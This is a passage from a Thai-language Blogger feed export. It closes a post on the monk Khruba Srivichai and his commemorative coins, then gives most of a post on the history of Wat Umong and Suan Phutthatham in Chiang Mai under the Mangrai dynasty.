ส่วนเหรียญโลหะรูปครูบาศรีวิชัยนั้น พระครูวิมลญาณประยุต (สุดใจ วิกสิตฺโต) ชาวจังหวัดอ่างทองได้ร่วมกับคณะสงฆ์จังหวัดลำพูนสร้างขึ้นให้เช่าเพื่อนำเงินมาช่วยในการปลงศพครูบาศรีวิชัย โดยให้เช่าในราคาเหรียญละ ๕ สตางค์ ทั้งนี้ สิงฆะ วรรณสัย ยืนยันจากประสบการณ์ที่ท่านรู้จักครูบาดีและได้คลุกคลีกับเรื่องพระเครื่องมาตั้งแต่ครูบายังไม่มรณภาพนั้นระบุว่าไม่มีเหรียญรุ่นดอยสุเทพ ไม่มีเหรียญที่ครูบาศรีวิชัยสร้าง หรือวัตถุมงคลอื่นใดที่ครูบาจะสร้างขึ้น นอกจากการให้พรและความอิ่มใจในการทำบุญกับท่านเท่านั้น แต่ในระยะหลังก็พบว่ามีการสร้างวัตถุมงคลของครูบาอยู่เป็นจำนวนมาก ในรูปแบบต่างๆ โดยผู้ที่ครอบครองวัตถุมงคลเหล่านั้นมีความศรัทธาในความดีของ &quot;ตนบุญ&quot;เป็นสำคัญ &lt;br /&gt;
&lt;br /&gt;
อุดม รุ่งเรืองศรี &lt;br /&gt;
&lt;br /&gt;
(เรียบเรียงจากงานของ วิลักษณ์ ศรีป่าซาง, ประวัติครูบาศรีวิชัยร่วมกับหลวงศรีประกาศ ตอนสร้างทางขึ้นดอยสุเทพ ของ ส.สุภาภา ๑๐ พค.๒๕๑๘, สารประวัติครูบาศรีวิชัย นักบุญแห่งลานนาไทย ของสิงฆะ วรรณสัย ศูนย์หนังสือเชียงใหม่ พฤศจิกายน ๒๕๒๒, และ ตำนานครูบาศรีวิชัยแบบพิศดารและตำนานวัดสวน-ดอก สถาบันวิจัยสังคม มหาวิทยาลัยเชียงใหม่ ๒๕๓๗)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;img id=&quot;imgThumb&quot; src=&quot;http://teawchiangmai.com/chiangmaiboard/index.php?action=dlattach;topic=182.0;attach=779;image&quot; width=&quot;400&quot; /&gt;</content><link rel='replies' type='application/atom+xml' href='http://sawasdeechiangmai.blogspot.com/feeds/6370698180446007038/comments/default' title='ส่งความคิดเห็น'/><link rel='replies' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/04/blog-post_2475.html#comment-form' title='0 ความคิดเห็น'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/6370698180446007038'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/6370698180446007038'/><link rel='alternate' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/04/blog-post_2475.html' title='ครูบาศรีวิชัย นักบุญแห่งล้านนาไทย'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/13644936924554290476</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5115672676120299344.post-4308146003715922232</id><published>2011-04-27T17:10:00.002+07:00</published><updated>2011-04-27T17:10:59.861+07:00</updated><title type='text'>วัดดอุโมงค์ และ สวนพุทธธรรม</title><content type='html'>&lt;a href=&quot;http://www.thaitravelcommunity.com/travelcommunity/index.php?topic=71.0&quot;&gt;&lt;strong&gt;วัดดอุโมงค์&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt; และ สวนพุทธธรรม&lt;/strong&gt;&amp;nbsp; สองชื่อนี้เป็นชื่อที่ใช้เรียกสถานที่ส่งเสริมการปฏิบัติธรรม ของพุทธนิคม เชียงใหม่แห่งเดียวกัน แต่มีความหมายต่างกัน&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.thaitravelcommunity.com/travelcommunity/index.php?topic=71.0&quot;&gt;วัดดอุโมงค์&lt;/a&gt;(อุโมงค์เถรจันทร์) เป็นชื่อเรียกวัดเก่าที่ &quot;พระเจ้ากือนาธรรมิกราช&quot; ทรงสร้างอุโมงค์ขึ้นเพื่อถวายเพื่อให้พระมหาเถรจันทร์ ผู้เชี่ยวชาญในพระไตรปิฏกอาศัย&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.thaitravelcommunity.com/travelcommunity/index.php?topic=71.0&quot;&gt;วัดดอุโมงค์&lt;/a&gt;นี้หมายเอาเฉพาะบริเวณพื้นที่สามเหลี่ยมผืนผ้า ซึ่งมีกำแพงอิฐปรากฏอยู่ทั้งสี่ด้าน ด้านตะวันออกจากขอบสระใหญ่ ด้านเหนือตรงไปทางทิศเหนือโรงพิมพ์ปัจจุบันจรด กำแพงอิฐพอดี ยาวประมาณ 100 วา ด้านเหนือจากแนวกำแพงเหนือโรงพิมพ์ปัจจุบันทางทิศตะวันตก จนถึงขอบสระหลัง&lt;a href=&quot;http://www.thaitravelcommunity.com/travelcommunity/index.php?topic=71.0&quot;&gt;วัดดอุโมงค์&lt;/a&gt; ยาวประมาณ 100 วา, ด้านตะวันตกจากขอบ สระแนวกำแพงด้านเหนือ ถึงขอบสระใหญ่ใต้พระเจดีย์ ยาวประมาณ 100 วา, ด้านใต้จากขอบสระหลังพระเจดีย์ตรงไปทางตะวันตกออกจรดกำแพงทิศตะวันออกหน้า พระอุโบสถ ยาวประมาณ 100 วา มีพระอุโบสถขนาดย่อมตั้งอยู่ทางทิศตะวันออกเฉียงใต้ มีพระเจดีย์ใหญ่แบบลังกาวงศ์ และอุโมงค์(ถ้ำ) 1 อุโมงค์ มีทางเข้า 3 ทาง ตั้งอยู่ตลอดแนววัดด้านตะวันตก และมีศาลาตั้งอยู่ทางทิศตะวันออกเฉียงเหนือจากหน้าอุโมงค์ไปประมาณ 1 เส้น คิดเป็นเนื้อที่ทั้งหมดประมาณ 25 ไร่&lt;br /&gt;
&lt;br /&gt;
สวนพุทธธรรม เป็นชื่อใหม่ที่ ภิกขุ ปัญญานันทะ ประธาน&lt;a href=&quot;http://www.thaitravelcommunity.com/travelcommunity/index.php?topic=71.0&quot;&gt;วัดดอุโมงค์&lt;/a&gt; ในสมัยนั้น (2492-2509) ตั้งขึ้นเรียกสถานที่ป่าผืนใหญ่ที่ปกคลุมวัดร้างโบราณ ซึ่งมีทั้งหมดประมาณ 150 ไร่ ที่พุทธนิคมเชียงใหม่จัดขึ้นเป็นที่อยู่ของภิกษุ สามเณร อุบาสก อุบาสิกา ผู้แสวงหาความสงบ พื้นที่ซึ่งเรียกว่า สวนพุทธธรรมนี้กว้างมาก รวมเอาวัดไผ่11กอ (เวฬุกัฏฐาราม ซึ่งพระเจ้ามังรายมหาราชทรงสร้างไว้ถวายเป็นที่พำนักของพระมหากัสสปะเถระ ชาวลังกา ซึ่งเข้ามาเผยแพร่ศาสนาในสมัยนั้น) &lt;a href=&quot;http://www.thaitravelcommunity.com/travelcommunity/index.php?topic=71.0&quot;&gt;วัดดอุโมงค์&lt;/a&gt;เถรจันทร์ และวัดอื่นๆ (ที่อยู่ใกล้&lt;a href=&quot;http://www.thaitravelcommunity.com/travelcommunity/index.php?topic=71.0&quot;&gt;วัดดอุโมงค์&lt;/a&gt;ทั้ง 4 ด้าน) อีก 4 วัดเอาไว้ด้วยทั้งหมด&lt;br /&gt;
&lt;br /&gt;
ประวัติ&lt;a href=&quot;http://www.thaitravelcommunity.com/travelcommunity/index.php?topic=71.0&quot;&gt;วัดดอุโมงค์&lt;/a&gt;(สวนพุทธธรรม) มีหลักฐานทางตำนานไม่สู้จะละเอียดนัก ต้องอาศัยหลักการทางโบราณคดี และประวัติศาสตร์เมืองเชียงใหม่เข้าช่วยจึงได้ความชัดขึ้น แต่ถึงกระนั้นก็ไม่สู้จะมั่นใจว่าประวัติที่นำมาเสนอท่านนี้จะถูกต้องร้อย เปอร์เซ็นต์ เพราะบริเวณที่ถูกเรียกว่า สวนพุทธธรรม นี้มีวัดอยู่หลายวัด สร้างเก่าบ้างใหม่บ้างสับสน ซับซ้อนยิ่งวัดเหล่านี้เป็นวัดกษัตริย์ราชวงศ์มังราย(นับจากพระเจ้ามังราย เป็นต้นมา) ทรงสร้างสืบๆ ต่อกันมาเป็นระยะเวลาเกือบ 700 ปีด้วยแล้ว ก็ยิ่งทำให้สันนิษฐานยากขึ้นไปอีก แต่ถึงแม้การศึกษายากเพียงไร หลักฐานที่ค้นได้ และนำมาประกอบการเขียนเรื่องนี้ ทำให้มั่นใจว่าจะทำให้ท่านเข้าใจประวัติ&lt;a href=&quot;http://www.thaitravelcommunity.com/travelcommunity/index.php?topic=71.0&quot;&gt;วัดดอุโมงค์&lt;/a&gt; (สวนพุทธธรรม) ได้ใกล้เคียงความจริงมากที่สุด&lt;br /&gt;
&lt;br /&gt;
ก่อนการศึกษาประวัติ&lt;a href=&quot;http://www.thaitravelcommunity.com/travelcommunity/index.php?topic=71.0&quot;&gt;วัดดอุโมงค์&lt;/a&gt; (สวนพุทธธรรม) ความทราบธรรมเนียบการสร้างวัดของพระมหากษัตริย์ไทยสมัยโบราณไว้ด้วยว่า เมื่อทรงสร้างพระราชวัง และเมืองหลวงเสร็จแล้ว สิ่งสำคัญที่ต้องทำเป็นอันดับสองก็คือ วัดสำคัญประจำเมืองทั้งสี่ทิศ หรือสองทิศ(เหนือ ใต้) และวัดพิเศษภายในราชวัง สำหรับเป็นที่สักการะบูชาของพระมหากษัตริย์ และพระบรมวงศานุวงศ์อีก 1 วัดเสมอ ความจริงเรื่องนี้หาดูได้ตามเมืองหลวงของไทยสมัยโบราณ เช่นเชียงแสน, สุโขทัย, อยุธยา, ลพบุรี, นครศรีธรรมราช, ฯลฯ และกรุงเทพมหานคร อันเป็นเมืองหลวงปัจจุบันการที่พระมหากษัตริย์ไทยสมัยก่อน ถือว่าการสร้างวัดเป็นสิ่งสำคัญอันดับสองรองจากการสร้างวังนั้น แสดงให้เห็นชัดเจนว่า บรรพบุรุษของพวกเรามั่นคงในศีลธรรมมีน้ำใจสูงมาก เห้นความสำคัญของพระพุทธศาสนาแจ่มแจ้งยึดเอาพุทธศาสนาประจำชาติมาตั้งแต่ต้น จนกลายเป็นความรู้สึกฝังใจว่า ชาติไทยกับพุทธศาสนาแยกจากกันไม่ได้มาจนทุกวันนี้&lt;br /&gt;
&lt;br /&gt;
ประวัติศาสตร์บอกไว้ว่า เมื่อ พระเจ้ามังรายมหาราช ปฐมกษัตริย์แห่งราชวงศ์มังราย ตกลงพระทัยที่จะสร้างเมืองใหม่ที่ป่าเลาคา (ต้นเลาคา และต้นหญ้าคา)ระหว่างแม่น้ำปิงกับดอยสุเทพแล้ว ได้แต่งตั้งราชบุรุษถือพระราชสาส์นไปทูลเชิญพระสหายร่วมน้ำสาบานทั้งสองคือ พระเจ้ารามคำแหงมหาราช เจ้าผู้ครองนครสุโขทัย และพระเจ้างำเมือง เจ้าผู้ครองนครพะเยา มาปรึกษาการสร้างเมืองที่ เวียงเหล็ก (ที่ตั้งวัดเชียงมั่นทุกวันนี้) หลังจากที่สามกษัตริย์ได้ตกลงกันว่า ควรสร้างราชธานีใหม่ กว้าง 800 วา ยาว 1000 วา เป็นรูปสี่เหลี่ยมผืนผ้า ยาวจากตะวันออกไปสู่ทิศตะวันตกแล้วก็ทำพิธีฝังเสาหลักเมืองใน วันพฤหัสบดี เดือนแปดเหนือ (เดือนหกใต้) ปีวอก พ.ศ. 1839 ฝังหลักเมืองแล้วใช้พลเมือง 5 หมื่นคน ช่วยกันก่อสร้างพระราชเวศน์มณเฑียรสถาน อีก 4 หมื่นคนช่วยกันขุดคูเมือง และกำแพงเมือง ก่อสร้างอยู่เป็นเวลา 4 เดือนก็แล้วเสร็จหลังจากฉลองเมืองใหม่เป็นการใหญ่ 7 วัน 7 คืนแล้ว กษัตริย์ทั้งสามก็พร้อมใจกันตั้งนามเมืองใหม่ว่า”เมืองนพบุรี ศรีนครพิงค์ เชียงใหม่”&lt;br /&gt;
&lt;br /&gt;
หลัง จากสร้างราชธานีเรียบร้อยแล้ว พระเจ้ามังรายมหาราชได้ทรงสร้างวัดสำคัญฝ่ายคามวาสี (วัดสำหรับภิกษุที่ชอบอยู่ในเมือง เพื่อเรียนพุทธวจนะ) ประจำเมืองทั้ง 4 ทิศพร้อมทั้งวัดภายในพระราชวังด้วย และทรงสร้างวัดฝ่ายอรัญวาสี (วัดสำหรับภิกษุที่เรียนพุทธวัจนะแล้ว ออกไปหาความสงบในป่า บำเพ็ญวิปัสสนากรรมฐาน) บริเวณชานพระนครขึ้นหลายวัด เช่น วัดเก้าถ้าน เป็นต้น&lt;br /&gt;
&lt;br /&gt;
พระเจ้ามังรายมหาราช ทรงทำนุบำรุงพระศาสนา และพระภิกษุสามเณร ทั้งฝ่ายคามวาสี และอรัญวาสีด้วยปัจจัยสี่ ให้มีกำลังใจศึกษา และปฏิบัติพระธรรมวินัยตามความสามารถแห่งตนอย่างดียิ่งทั้งสองฝ่าย กาลต่อมาพระองค์ได้ทรงทราบว่า พระเจ้ารามคำแหงมหาราช พระสหายผู้ครองนครสุโขทัย ได้ส่งคนไปนิมนต์พระสงฆ์จากเมืองลังกา ที่มาอยู่เมืองนครศรีธรรมราช มาสั่งสอนพระพุทธศาสนา ทั้งฝ่ายปริยัติ และฝ่ายปฏิบัติแก่ชาวเมืองสุโขทัยปรากฏเกียรติคุณว่า พระสงฆ์ลังกาแตกฉานพระไตรปิฎกเคร่งครัดในพระธรรมวินัยยิ่งกว่าพระไทยที่มี อยู่เดิม เกิดศรัทธาเสื่อมใส ประสงค์จะได้พระลังกามาเป็นหลักพระพุทธศาสนาในเมืองเชียงใหม่บ้าง จึงได้ส่งเจ้าหน้าที่ขอพระสงฆ์ลังกา จากพระเจ้ารามคำแหงมหาราชมา 5 รูป เมื่อได้พระลังกา 5 รูป อันมีพระมหากัสสปะเถระ เป็นหัวหน้ามาสมพระประสงค์แล้ว เกิดลังเลพระทัยไม่ทราบว่าจะนำพระลังกา 5 รูปนี้ไปอยู่วัดไนดี จะนำไปอยู่กับพระไทยเดิมทั้งฝ่ายคามวาสีก้เกรงว่าพระลังกาจะไม่สบายใจเพราะ ระเบียบประเพณีในการประพฤติอาจจะไม่เหมือนกัน&lt;br /&gt;
&lt;br /&gt;
ในที่สุดได้ตกลงพระทัยสร้างวัดฝ่ายอรัญวาสีเฉพาะพระลังกา ขึ้นวัดหนึ่งต่างหากที่บริเวณป่าไผ่ 11 กอ (สถานที่ซึ่งเรียกว่า&lt;a href=&quot;http://www.thaitravelcommunity.com/travelcommunity/index.php?topic=71.0&quot;&gt;วัดดอุโมงค์&lt;/a&gt; สวนพระพุทธธรรมทุกวันนี้) การสร้างวัดไผ่ 11 กอครั้งนั้นพระองค์ประสงค์จะสร้างเป็นอนุสรณ์ในการนำพุทธศาสนาแบบลังกาวงศ์ มาประดิษฐานในลานนาไทยเป็นครั้งแรก จึงขอให้พระมหากัสสปะเถระเป็นผู้วางแผนผังวัดให้ถูกต้องตามพระธรรมวินัย และประเพณีอันดีงามของชาวพุทธจริงๆ เมื่อพระมหากัสสปะเถระวางแผนผังวัดออกเป็นเขตพุทธาวาส(สถานที่เกี่ยวกับพระ พุทธเจ้า เช่น พระเจดีย์ พระอุโบสถ) และสังฆาวาส (สถานที่เกี่ยวกับพระสงฆ์ เช่น สาลาแสดงธรรม กุฏิพระโรงฉัน) เรียบร้อยแล้วพระเจ้ามังรายมหาราชได้เป้นผู้อำนวยการสร้างวัดใหม่ตามแผนผัง นั้น โดยยึดเอาแบบอย่างการสร้างวัดของเมืองลังกาเป็นแบบฉบับ แม้พระเจดีย์ใหญ่อันเป็นหลักชัยของวัด ก็สร้างทรวดทรงแบบพระเจดีย์ในเมืองลังกาทั้งหมด (พระเจดีย์ที่พระเจ้ามังรายสร้างอันเดียวกับพระเจดีย์ใหญ่ที่ปรากฏอยู่ในวัด อุโมงค์สวนพุทธธรรมทุกวันนี้ แต่ของเดิมย่อมกว่าที่ใหญ่ขึ้นยังไม่เก่านัก และมองเห็นลวดลายสวยงามชัดเจน เป็นพระเจ้ากือนาธรรมิกราชรัชกาลที่ 9 แงราชวงศ์มังรายทรงบูรณะขึ้นใหม่ด้วยการพอกปูนทับของเก่า พร้อมกับการสร้างอุโมงค์ให้พระมหาเถรจันทร์อยู่ระหว่าง พ.ศ. 1910-1930) สร้างวัดเสร็จเรียบร้อย และทำการฉลองแล้ว ทรงขนานนามว่า วัดเวฬุกัฏฐาราม (วัดไผ่ 11 กอ) จากนั้น ก็นิมนต์คณะสงฆ์จากลังกาเข้าอยู่จำพรรษาเพื่อบำเพ็ญสมณธรรม และเผยแผ่พระพุทธศาสนาต่อไป&lt;br /&gt;
&lt;br /&gt;
หลังจากทรงสร้างวัดถวายคณะสงฆ์ลังกาวงศ์แล้วทรงสนพระทัยในการพระศาสนาเป็นอย่างยิ่ง ทรงโปรดให้ความอุปถัมภ์แก่พระสงฆ์ไทย และพระสงฆ์ลังกาด้วยปัจจัยสี่และหมั่นมาฟังธรรมเทศนาจากพระสงฆ์เสมอ การใดที่ทำให้พุทธศาสนาเจริญแล้ว จะทรงกระทำการนั้นทันที&lt;br /&gt;
&lt;br /&gt;
นอกจากจะสนพระทัยพระพุทธศาสนาเป็นการส่วนพระองค์แล้ว ยังทรงแนะนำชักชวนพระบรมวงศานานุวงศ์และประชาชนให้สนใจศึกษาพระพุทธศาสนา โดยพากันมาวัดในวันพระเพื่อให้ทาน รักษาศีล ฟังธรรม เทศนาจากพระสงฆ์และเจริญภาวนาหาความสงบใจอีกด้วย&lt;br /&gt;
&lt;br /&gt;
วัดที่พระองค์ พระบรมวงศานุวงศ์และประชาชนศรัทธาเลื่อมใส สนใจไปให้ทาน รักษาศีลฟังธรรมเทศนา และเจริญภาวนามากที่สุดในสมัยนั้น คือ วัดเวฬุกัฏฐาราม(วัดไผ่ 11 กอ) ที่เป็นเช่นนี้ก็เพราะพระลังกาที่มาจำพรรษาอยู่มีความรู้ในธรรมวินัยดี มีความสามารถในการแสดงธรรมมาก มีความประพฤติเรียบร้อย และเคร่งครัดในระเบียบวินัยมากกว่าพระอื่นๆ ความดีงามของพระลังกาในครั้งนั้นเป้นเหตุให้กุลบุตรสมัครเข้ามาบรรพชา อุปสมบทเป็นภิกษุสามเณรมากมาย ยิ่งนับวันเกียรติคุณของพระลังกาวงศ์ขจรขจายไปทั่วทิศ เป็นเหตุให้พระพุทธศาสนาแบบลังกาวงศ์เจริญรุ่งเรืองอย่างรวดเร็ว และตั้งหลักได้มั่นคงในลานนาไทยเป็นครั้งแรกในสมัยของพระองค์&lt;br /&gt;
&lt;br /&gt;
หลังจากพระเจ้ามังรายมการาชทรงสวรรคต เพราะถูกฟ้าผ่า ที่สี่แยกเมืองเชียงใหม่ เมือพระชนมายุได้ 80 พรรษา (พ.ศ. 1860) แล้ว กิจการพระศาสนาก็เริ่มเสื่อมลงทันที เพราะพระมหากษัตริย์ซึ่งเป็นรัชทายาทครองเมืองเชียงใหม่สมัยต่อมา เช่น พระเจ้าชัยสงคราม (พ.ศ. 1860-1861) พระเจ้าแสนกู่ (พ.ศ.1865-1871) พระเจ้าคำฟู (พ.ศ.1871-1877) ไปประทับอยู่เมืองเชียงราย และเชียงแสนเสียหมดคงตั้งพระโอรสที่เป็นรัชทายาทครองเมืองเชียงใหม่ในฐานะมหาอุปราชเท่านั้นประการหนึ่ง และเพราะมัวแต่รบพุ่งพุ่งชิงชัยแย่งราชบัลลังก์ระหว่างเจ้าพี่ เจ้าน้อง เจ้าลุง เจ้าอา อีกประการหนึ่ง&lt;br /&gt;
&lt;br /&gt;
ครั้นถึงสมัยนั้น พระเจ้าผายู (ประสูติที่เชียงใหม่ เป็นมหาอุปราชแล้วประทับอยู่เชียงใหม่ตลอดเวลา) เป็นกษัตริย์ครองเมืองเชียงใหม่ เมื่อ พ.ศ. 1877 การพระศาสนาจึงค่อยกลับเจริญขึ้นอีกครั้งหนึ่ง เพราะพระมหากษัตริย์พระองค์นี้ทรงตั้งอยู่ในทศพิธราชธรรมสัมมาปฏิบัติ ยึดหลักพุทธศาสนาเป็นเครื่องมือในการปกครองประเทศ งานศาสนาชิ้นแรกที่ทรงทำคือ โปรดให้ราชบัณฑิตไปอาราธนาพระมหาอภัยจุฬาเถระ กับพระสงฆ์ 10 รูปจากเมืองหริภุญชัย (ลำพูน) มาเป็นสังฆราชครองวัดลีเชียงพระ (วัดพระสิงห์) ซึ่งทรงสร้างขึ้น การที่พระเจ้าผายูต้องแต่งตั้งพระมหาเถระในจังหวัดลำพูนเป็นพระสงฆ์ในลานนาไทยไม่ได้แต่งตั้งพระมหาเถระในเชียงใหม่นัน แสดงว่าพุทธศาสนาและคณะสงฆ์ในเชียงใหม่ซึ่งเคยเจริญรุ่งเรืองอย่างมากทั้งสยามวงศ์และลังกาวงศ์ เมื่อ 40 ปีก่อนโน้น เสื่อมลงอย่างน่าใจหาย พระเจ้าผายูทำนุบำรุงประเทศชาติและพระพุทธศาสนาได้ประมาณ 33 ปี ก็สวรรคตในปี พ.ศ. 1910&lt;br /&gt;
&lt;br /&gt;
หลังจากพระเจ้าผายูสวรรคตแล้ว เสนามาตย์ทั้งหลายได้ไปอันเชิญ เจ้าท้าวกือนา จากเมืองเชียงแสน (ที่ต้องไปอยู่เมืองเชียงแสน เพราะพระราชบิดาให้ไปครองเมืองตามธรรมเนียมรัชทายาท) มาราชาภิเษกเป็นกษัตริย์องค์ที่ 9 (ของราชวงศ์มังราย) ครองเมืองเชียงใหม่ต่อไปตามประเพณีในปี พ.ศ. 1910 (เสวยราชย์เมื่อพระชนม์มายุได้ 40 พรรษา) เนื่องจากพระเจ้านากือนาทรงใฝ่พระทัยในการศึกษาวิชาการต่างๆ ทั้งทางโลกและทางธรรมตั้งแต่ยังทรงพระเยาว์ประการหนึ่ง ทรงฝึกหัดวิชาการรบต่างๆ ไว้อย่างชำชิชำนาญประการหนึ่ง ทรงเชี่ยวชาญในการปกครองบ้านเมืองสมัยครองเมืองเชียงแสนประการหนึ่ง ทรงมีน้ำพระทัยตั้งอยู่ในทศพิธราชธรรมเหมือนพระราชบิดาประการหนึ่ง ทรงสนพระทัยในเรื่องพระพุทธศาสนา ตามพระราชบิดาเป็นอย่างมากประการหนึ่ง และทรงมีพระชนม์มายุในขั้นเป็นผู้ใหญ่เต็มตัวที่ประการหนึ่ง เมื่อเสวยราชย์แล้วจึงทำนุบำรุงบ้านเมืองและพุทธศาสนาให้เจริญรุ่งเรืองได้ อย่างรวดเร็ว&lt;br /&gt;
&lt;br /&gt;
ระยะเวลา 21 ปี (1910-1931) ที่พระเจ้ากือนาธรรมิกราช ครองราชสมบัติ ได้ทรงจัดการปกครองบ้านเมืองอย่างดีเยี่ยมข้าราชการผู้ใหญ่และประชาชนเคารพรักและนับถือพระองค์มาก เจ้าเมืองอื่นไม่กล้ายกกองทัพมารุกรานเพราะรู้ดีว่าพระองค์เป็นนักรบที่เก่งกล้า เมื่อบ้านเมืองปรกติสุขความยุ่งยากไม่มีเช่นนี้ พระองค์ก็ใช้เวลาส่วนมากทำนุบำรุงพระพุทธศาสนาอย่างแท้จริง จนปรากฏว่าพระพุทธศาสนาในวานนาไทยเจริญรุ่งเรืองที่สุดในยุคของพระองค์&lt;br /&gt;
&lt;br /&gt;
งานศาสนาชิ้นแรกที่ทรงทำเมื่อเสวยราชย์ คือ ส่งราชบัรฑิตไปอาราธนาพระมหาสวามีอุทุมพรบุบผา พระมหาเถระชาวรามัญ เชื้อสายลังกาวงศ์ ผู้แตกฉานพระธรรมวินัยที่เมืองเมาะตะมะ (ที่ทรงเจาะจงเลือกพระชาวลังกาวงศ์คงจะเป้นเพราะทรงทราบประวัติความดีงามของพระลัง ที่พระเจ้ามังรายนำมาประดิษฐานพุทธศาสนาในลานนาไทย ระหว่าง พ.ศ. 1839-1860 เป็นแน่) แต่พระมหาสวามีเจ้าไม่ยอมคงมอบศิษย์ 10 รูป มี พระอานนท์ (พระอานนทเถระ) เป็นประธานมาแทน เมื่อพระรามัญเชื้อสายลังกาวงศ์มาถึงแล้วได้ทรงอาราธนาพักที่ วัดโลก (ปัจจุบันเป็นที่ทำการสัตวแพทย์เชียงใหม่) แล้วขอให้ทำพินัยกรรมสมมติสีมาและอุปสมบทกุลบุตร พระรามัญทั้ง 10 รูปไม่อาจปฏิบัติ เพราะการบรรพ๙าอุปสมบทกุลบุตรในประเทศไทยแบบลังกาวงศ์นั้นพระมหาสวามีอุทุมพรบุปผา มอบอำนาจให้พระมหาสุมูนเถระและพระอโนมทัสสีเถระ เป็นผู้กระทำเพียงสองรูปเท่านั้น (พระเถระสุโขทัยสองรูปนี้ ไปเรียนพระไตรปิฎกที่อยุธยาก่อนแล้วกลับไปเรียนต่อที่เมาะตะมะกับมหาสวามีอุทุมพรบุปผาเป็นเวลา 4 ปี จากนั้น ได้กลับมาที่สุโขทัย นำพระที่ฉลาดอีก 10 รูปกลับไปสวดญัติเป็นภิกษุแบบลังกาวงศ์แล้วพระมหาสวามีอุทุมพรบุปผา ได้มอบอำนาจให้พระมาเถระทั้งสองเป้นหัวหน้านำลัทธิลังกาวงศ์มาเผยแผ่ในเมืองไทย)&lt;br /&gt;
&lt;br /&gt;
เมื่อ พระเจ้ากือนาธรรมิกราช ทรงทราบเช่นนั้นแล้วได้ตั้งให้ หมื่นเงินกอง 1 ปะขาวยอด 1 ปะขาวสาย 1 รวม 3 นาย เชิญราชสาส์นและเครื่องบรรณาการการไปถวาย พระมหาธรรมราชาไท กษัตริย์องค์ที่ 5 แห่งราชวงศ์สุโขทัย (ครองราชย์ ระหว่าง พ.ศ. 1890-1919) เพื่ออาราธนาพระมหาสุมนเถระ วัดอัมพวัน (ภายหลังเรียกว่าวัดป่าแก้ว) ไปสืบศาสนาในนครพิงค์ เชียงใหม่ พระมหาธรรมราชาลิไท ทราบแล้วได้ทรงอนุญาตให้พระมาสุมนเถระ ไปสืบสาสนาที่พระนครพิงค์เชียงใหม่ด้วยความยินดี ขณะที่พระมหาสุมนเถระเดินทางจากสุโขทัยมาเชียงใหม่นั้น พระเจ้ากือนาธรรมิกราชได้เสด็จไปคอยรับที่ วัดพระยืน จังหวัดลำพูน ได้ขอให้พระมหาสุมนเถระอุปสมบทกุลบุตรเป็นภิกษุที่นั่นก่อน แล้วจึงอาราธนามาพักที่ วัดบุปผาราม (วัดสวนดอก) เชียงใหม่ เนื่องจากพระมหาสุมนเถระแตกฉานพระไตรปิฏก เคร่งครัดในพระธรรมวินัย มีศีลวัตรน่าเลื่อมใสยิ่งกว่าภิกษุอื่น พระองค์จึงแต่งตั้งให้เป็น มหาสามีบุพรัตนะ เป้นพระประธานสงฆ์ลังกาวงศ์ในลานนาไทยต่อไป ลัทธิลังกาวงศ์ซึ่งเคยเจริญรุ่งเรืองมาครั้งหนึ่งสมัยพระเจ้ามังรายมหาราช และได้เสื่อมทรามไปเกือบ 70 ปีนั้น ได้กลับเจริญรุ่งเรืองขึ้นอีกในสมัยพระเจ้ากือนาธรรมิกราช&lt;br /&gt;
&lt;br /&gt;
หลังจากทรงจัดการนำพระมหาสุมนเถระชาวสุโขทัย เชื้อสายลังกาวงศ์มาเป็นหลักศาสนาในลานนาไทยแล้ว พระองค์ได้หันไปบูรณะถาวรวัตถุทางพระพุทธศาสนา ซึ่งบรรพบุรุษได้ทรงสร้างไว้โดยทั่วถึง อันใดควรซ่อมก็ซ่อมแซมให้ดีขึ้น อันใดความสร้างใหม่ก็ทรงสร้างด้วยช่างฝีมือชั้นเยี่ยม ถาวรวัตถุที่ทรงบูรณะสร้างไว้ การบูรณะวัดเวฬุกัฎฐาราม ซึ่งพระเจ้ามังรายทรงสร้างไว้ การบูรณะ วัดเวฬุกัฎฐาราม (วัดไผ่ 11 กอ) ทรงสร้างด้วยความระมัดระวังเป็นอย่างยิ่ง การพอกปูนซ่อมแซมใหม่ทับของเก่า (ถ้าท่านไปดูรอยแตกของพระเจดีย์&lt;a href=&quot;http://www.thaitravelcommunity.com/travelcommunity/index.php?topic=71.0&quot;&gt;วัดดอุโมงค์&lt;/a&gt;สวนพุทธธรรมในขณะนี้ จะเห็นชัดเจนว่าเปลือกเจดีย์มี 2 ชั้น)ได้ทรงรักษาทรวดทรงเดิมไว้ทั้งหมด ส่วนรูปภาพสีน้ำที่เขียนไว้ในอุโมงค์เจดีย์ที่พระเจ้ากือนาทรงสร้างใหม่ เหลือเกิน&lt;br /&gt;
&lt;br /&gt;
เมื่อทรงบูรณะเจดีย์ใหม่เสร็จแล้ว พระองค์ได้ทรงสร้างอุโมงค์ขนาดใหญ่ ถัดจากฐานพระเจดีย์ด้านเหนือขึ้นหนึ่งอุโมงค์ อุโมงค์ที่ทรงสร้างขึ้นใหม่นี้ทั้งใหญ่และสวยงามมากมีทางเข้าออก 4 ช่อง แต่ละช่องเดินติดต่อกันได้ทั่วถึงข้างฝาผนังด้านในอุโมงค์เจาะช่องสำหรับจุดประทีปให้เกิดความสว่างเป็นระยะ สะดวกแก่พระเดินจงกรม และภาวนาอยู่ข้างใน เพดานอุโมงค์เขียนภาพต่างๆ ด้วยสีน้ำมันไว้ตลอดทั้ง 2 ช่อง ฝีมือที่เขียนดูจะเป็นช่างจีนผสมช่างไทยเมื่อสร้างอุโมงค์เสร็จและทำการฉลองแล้ว ได้ทรงขนานนามว่า &lt;a href=&quot;http://www.thaitravelcommunity.com/travelcommunity/index.php?topic=71.0&quot;&gt;วัดดอุโมงค์&lt;/a&gt; ชื่อ&lt;a 